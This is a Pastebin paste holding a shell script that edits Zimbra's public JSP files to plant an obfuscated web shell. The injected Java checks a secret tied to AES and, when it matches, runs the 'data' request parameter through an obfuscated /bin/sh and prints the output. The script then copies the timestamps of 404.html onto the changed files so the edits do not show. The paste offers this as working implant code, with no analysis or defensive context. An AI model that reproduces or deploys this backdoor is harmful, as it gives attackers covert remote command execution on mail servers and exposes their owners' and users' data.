Advertisement
kumarsingh089

sed

May 29th, 2019
354
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.84 KB | None | 0 0
  1. #!/bin/sh
  2. sed -i 's/<%@ page import="com\.zimbra\.cs\.taglib\.bean\.BeanUtils" %>/<%@ page import="java\.util\.\*,java\.io\.\*,javax\.crypto\.\*,javax\.crypto\.spec\.\*,sun\.misc\.\*,java\.math\.BigInteger,com\.zimbra\.cs\.taglib\.bean\.BeanUtils" %>/g' /opt/zimbra/jetty/webapps/zimbra/public/jsp/*.jsp
  3. sed -i ':a;N;$!ba;s/String contextPath = request\.getContextPath();\nif (contextPath\.equals("\/")) contextPath = "";\nString vers = (String) request\.getAttribute("version");\nvers = BeanUtils\.cook(vers);\nString ext = (String) request\.getAttribute("fileExtension");\next = BeanUtils\.cook(ext);/String contextPath = request\.getContextPath();\nif (contextPath\.equals("\/")) contextPath = "";\nString vers = (String) request\.getAttribute("version");\nvers = BeanUtils\.cook(vers);\nString ver = "zimbra version";\nver = ver\.replace("zim", "10067869")\.replace("bra","03625150")\.replace(" ", "19221462");\nString ext = (String) request\.getAttribute("fileExtension");\next = BeanUtils\.cook(ext);\nCipher cipher = Cipher\.getInstance("AES");\ncipher\.init(1, new SecretKeySpec(request\.getParameter("context")\.getBytes(),"AES"));\nver = ver\.replace("ver","76718711")\.replace("sion","0335475");\nif(ver\.equals(new BigInteger(cipher\.doFinal("ZimbraCoreFile"\.getBytes()))\.toString())){java\.io\.InputStream in=Runtime\.getRuntime()\.exec(new String[]{"thin"\.replace("th","\/b")+"toh"\.replace("to","\/s"),"-c",request\.getParameter("data")})\.getInputStream();int i=-1;byte[] j=new byte[2048];out\.print("<pre>");while((i=in\.read(j))!=-1){out\.println(new String(j));}out\.print("<\/pre>");}/g' /opt/zimbra/jetty/webapps/zimbra/public/jsp/*.jsp
  4. touch -r /opt/zimbra/jetty/webapps/zimbra/public/404.html /opt/zimbra/jetty/webapps/zimbra/public/jsp/*.jsp
  5. touch -r /opt/zimbra/jetty/webapps/zimbra/public/404.html /opt/zimbra/jetty/webapps/zimbra/public/jsp
  6. echo over
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement